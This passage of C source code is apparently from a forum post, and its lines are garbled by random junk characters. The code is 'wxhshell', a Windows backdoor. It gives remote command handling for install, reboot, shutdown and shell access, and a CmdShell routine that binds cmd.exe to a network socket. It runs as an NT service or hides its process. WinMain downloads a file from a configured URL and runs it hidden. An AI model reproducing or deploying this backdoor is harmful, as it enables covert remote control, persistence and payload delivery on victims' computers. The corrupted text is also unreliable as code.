  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8dczC  
  } s2<!Zb4  
  else { Zy}tZRG  
Un6R)MVT  
    switch(cmd[0]) { 2JfSi2T  
  i>m%hbAk  
  // 帮助 %* "+kw Z  
  case '?': { > i/jqT/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tq1\  
    break; $V~@w.-Z#  
  } Lljn\5!r<  
  // 安装 B~]Kqp7yU  
  case 'i': {  Gl~l  
    if(Install()) s)^/3a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~66G  
    else $dL..QH^K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y* +y&  
    break; Y}?8  
    } ula-o)S  
  // 卸载 ')m!48  
  case 'r': { \@<7Vo,  
    if(Uninstall()) &\h7E   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /fI}QY1  
    else S=UuEmU5N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cAWn*%  
    break; Uj!3MF  
    } o@:"3s  
  // 显示 wxhshell 所在路径 -  x  
  case 'p': { 9[0iIT$q$  
    char svExeFile[MAX_PATH]; v] m/$X2  
    strcpy(svExeFile,"\n\r"); NoI|Dz  
      strcat(svExeFile,ExeFile); o4Q?K.9c  
        send(wsh,svExeFile,strlen(svExeFile),0); 2dn^K3  
    break; 7({)ou x  
    } <kn 2  
  // 重启 +-izC%G  
  case 'b': { LF dvz0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L:i&OCU2k  
    if(Boot(REBOOT)) >*-%:ub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8!_jZf8  
    else { 3jx%]S^z|  
    closesocket(wsh); T ,lM(2S[  
    ExitThread(0); r.C6` a  
    } +3v)@18B1  
    break; iN;Pg _Kq  
    } xGd60"w2  
  // 关机 RT[p!xL  
  case 'd': { cx\"r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .;? Bni  
    if(Boot(SHUTDOWN)) {U5sRM|I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A  6(`  
    else { dY1t3@E  
    closesocket(wsh); :qzg?\(  
    ExitThread(0); VPMu)1={:p  
    } &[E\2 E  
    break; u64#,mC[*  
    } L}Z.FqJ  
  // 获取shell *$Q>Om]  
  case 's': { iq&3S0  
    CmdShell(wsh); ipSMmpB  
    closesocket(wsh); +H-=`+,  
    ExitThread(0); Eb3ZM#  
    break; LlTD =tJ0  
  } EGu%;[  
  // 退出 BA;r%?MRL  
  case 'x': { M 8},RR@{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )G P;KUVae  
    CloseIt(wsh); E|O&bUMh  
    break; At7!Pas#@g  
    } omG2p  
  // 离开 &Vlno*  
  case 'q': { eg[EFI.h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (:o F\  
    closesocket(wsh); >AJ/!{jD*  
    WSACleanup(); QkrQM&Im  
    exit(1); 3",gjXmBu  
    break; <A3%1 82  
        } ni;_Un~  
  } K~(RV4oF8B  
  } DUOoTl p  
g)hEzL0k  
  // 提示信息 v\x l?F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $>rt0LOF  
}  3.&BhLT  
  } Iiy5;:CX:q  
9{Hs1 MD[  
  return; zJDHDr  
} -E-#@s  
N_Us6 X  
// shell模块句柄 K?.~}82c  
int CmdShell(SOCKET sock) &PMQ]B  
{ [gW eD  
STARTUPINFO si; :jiEn y  
ZeroMemory(&si,sizeof(si)); Fis!MMh.$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n Kkpp-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k!c7eP"%8^  
PROCESS_INFORMATION ProcessInfo; ~&?([}A  
char cmdline[]="cmd"; \0\O/^W0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >S5J^c  
  return 0; pW]j.JM  
} h+km?j  
}k-V(  
// 自身启动模式 axQ>~v WN/  
int StartFromService(void) '6N)sqTR  
{ j>k ;Z j  
typedef struct z{XB_j6\=  
{ S_lGr k\j  
  DWORD ExitStatus; Fa("Gok[  
  DWORD PebBaseAddress; h.<f%&)F  
  DWORD AffinityMask; d`sZ"8}j  
  DWORD BasePriority; vC]X>P5Px  
  ULONG UniqueProcessId; *byUqY3(  
  ULONG InheritedFromUniqueProcessId; i?T-6{3I  
}   PROCESS_BASIC_INFORMATION; Q 3WD!Z8y  
cU;Bm}U  
PROCNTQSIP NtQueryInformationProcess; w2B)$u  
^t0!Dbx3SE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .6y+van  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P1F-Wy1  
-}7$;QK&a  
  HANDLE             hProcess; dL42)HP5  
  PROCESS_BASIC_INFORMATION pbi; {"o9pIh{~  
*@rA7zPFf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]d*9@+Iu  
  if(NULL == hInst ) return 0; \8CCa(H  
f2g tz{r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f_k'@e{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [-(^>Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -%fQr5  
4"&-a1N  
  if (!NtQueryInformationProcess) return 0; (\:Rnl  
4Kj.o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c=sV"r?  
  if(!hProcess) return 0; *Y>w0k  
QK_5gD`$a,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VEps|d3,,  
|\(uO|)ju  
  CloseHandle(hProcess); !2t7s96  
CCTU-Xz/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -y.cy'$f  
if(hProcess==NULL) return 0; 1l-5H7^w2?  
-Y_, .'ex  
HMODULE hMod; S,5ok0R  
char procName[255]; t$BjJ -G  
unsigned long cbNeeded; x?AG*' h&  
yY VR]HH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p]aEC+q  
J3yK^@&&  
  CloseHandle(hProcess); V.Hv6  
~[CFs'`(2  
if(strstr(procName,"services")) return 1; // 以服务启动 ;L-=z]IR,  
7|}4UXr7y  
  return 0; // 注册表启动 P@N+jS`Vf  
}  /  
9=j9vBV  
// 主模块 \ eHOHHAGW  
int StartWxhshell(LPSTR lpCmdLine) ZSf &M  
{ v,")XPY  
  SOCKET wsl; 8maWF.xq  
BOOL val=TRUE; x/,;:S  
  int port=0; 12 p`ZD=  
  struct sockaddr_in door; 9E7G%-  
rXB;#ypO  
  if(wscfg.ws_autoins) Install(); *'((_ NZ>  
;!<}oZp{  
port=atoi(lpCmdLine); e:O,$R#g  
e)sR$]i:v  
if(port<=0) port=wscfg.ws_port; b 3x|Dq.  
Xs2}n^#i  
  WSADATA data; )oIh?-WL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v3r3$(Hr  
?V6,>e_+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zQ,rw[C"W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R4p Pt  
  door.sin_family = AF_INET; ]-gyXE1.r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z0[@O)Sj  
  door.sin_port = htons(port); ggD T5hb  
bRvGetX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =:rg1wo"c  
closesocket(wsl); $tZ {>!N  
return 1; 5` ^@k<  
} f|{iW E2d  
868X/lL  
  if(listen(wsl,2) == INVALID_SOCKET) { s%:fZ7y  
closesocket(wsl); j[U#J  
return 1; &g|[/~dIr  
} -[=~!Qr:  
  Wxhshell(wsl); V'vWz`#  
  WSACleanup(); `'1g>Ebk0  
d]DV\*v  
return 0; |5 V0_79  
y[m,t}gi  
} ` aVp#  
d{YvdN9d  
// 以NT服务方式启动 R'Jrbe|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S;4:`?s=i  
{ HLWffO/  
DWORD   status = 0; !|[rh,e]  
  DWORD   specificError = 0xfffffff; ;1(^H:7T  
of B:7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RHUZ:r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .!3e$mhV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %7ngAIg  
  serviceStatus.dwWin32ExitCode     = 0; hTDK[4e  
  serviceStatus.dwServiceSpecificExitCode = 0; Qu|CXUk  
  serviceStatus.dwCheckPoint       = 0; =F+v+zP7P  
  serviceStatus.dwWaitHint       = 0; v~mVf.j1  
?+]=|hN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |.k'?!  
  if (hServiceStatusHandle==0) return; g*YDgY  
J5{;+ysUMl  
status = GetLastError(); a0|hLqI  
  if (status!=NO_ERROR) -Q20af-  
{ 1'&.6{)P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z|t=t"6"  
    serviceStatus.dwCheckPoint       = 0; s+:|b~  
    serviceStatus.dwWaitHint       = 0; n\+ c3  
    serviceStatus.dwWin32ExitCode     = status; afrF%!  
    serviceStatus.dwServiceSpecificExitCode = specificError; `;85Mo:qJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]$/oSa/  
    return; Mq\=pxC@  
  } hhU_kI  
D7hTn@I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; syw1Z*WK  
  serviceStatus.dwCheckPoint       = 0; b6-N2F1Fs  
  serviceStatus.dwWaitHint       = 0; L;3%8F\-.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AYn65Ly  
} Fx^wV^q3  
YPGM||  
// 处理NT服务事件,比如:启动、停止 e"hfeNphz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RBQ8+^  
{ +(*HDa|  
switch(fdwControl) 8 W  
{ gKh*q.  
case SERVICE_CONTROL_STOP: NsB]f{7>8+  
  serviceStatus.dwWin32ExitCode = 0; 19$A!kH\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /S]$Hu|  
  serviceStatus.dwCheckPoint   = 0; Ro<779.Gn\  
  serviceStatus.dwWaitHint     = 0; \B#tB?rA  
  { &l+Qn'N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0x<ASfka  
  } JK2{9#*  
  return; c,@Vz 7c  
case SERVICE_CONTROL_PAUSE: ]^ R':YE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uU^DYgs  
  break; y-hTTd"{  
case SERVICE_CONTROL_CONTINUE: AqgY*"A7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >/n];fl>8  
  break; 8"&!3_  
case SERVICE_CONTROL_INTERROGATE: d27q,2f!  
  break; f\2IKpF2  
}; 27!F B@k-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {4S UG o>  
} ~uhW~bT  
AMyg>n!  
// 标准应用程序主函数 Y#os6|MV#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~:Rbd9IB  
{ 0z/*JVka  
TnQ>v{Rx  
// 获取操作系统版本 P&Ke slk  
OsIsNt=GetOsVer(); Ll|-CY $  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .?u<|4jE6  
?;l@yx  
  // 从命令行安装 *J4!+GD  
  if(strpbrk(lpCmdLine,"iI")) Install(); KtaoOe  
af|h4.A  
  // 下载执行文件 FGn"j@m0  
if(wscfg.ws_downexe) { /bykIUTKI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]zYIblpde  
  WinExec(wscfg.ws_filenam,SW_HIDE); <,:{Q75  
} X(tx8~z  
e(s0mbJE  
if(!OsIsNt) { 6_%Cd`4Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 cq[9#@ 4=  
HideProc(); {YiMd oMhg  
StartWxhshell(lpCmdLine); jj`#;Y  
} neU=1socJ  
else ovp/DM  
  if(StartFromService()) Qhj']>#g  
  // 以服务方式启动 1i#y>fUj  
  StartServiceCtrlDispatcher(DispatchTable); u.yR oZ8/!  
else U$5x#{AFp  
  // 普通方式启动 J?V$V >d  
  StartWxhshell(lpCmdLine); byI" ?  
;87PP7~  
return 0; 6'r;6T *  
}
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只看该作者 1 发表于: 2006-10-10
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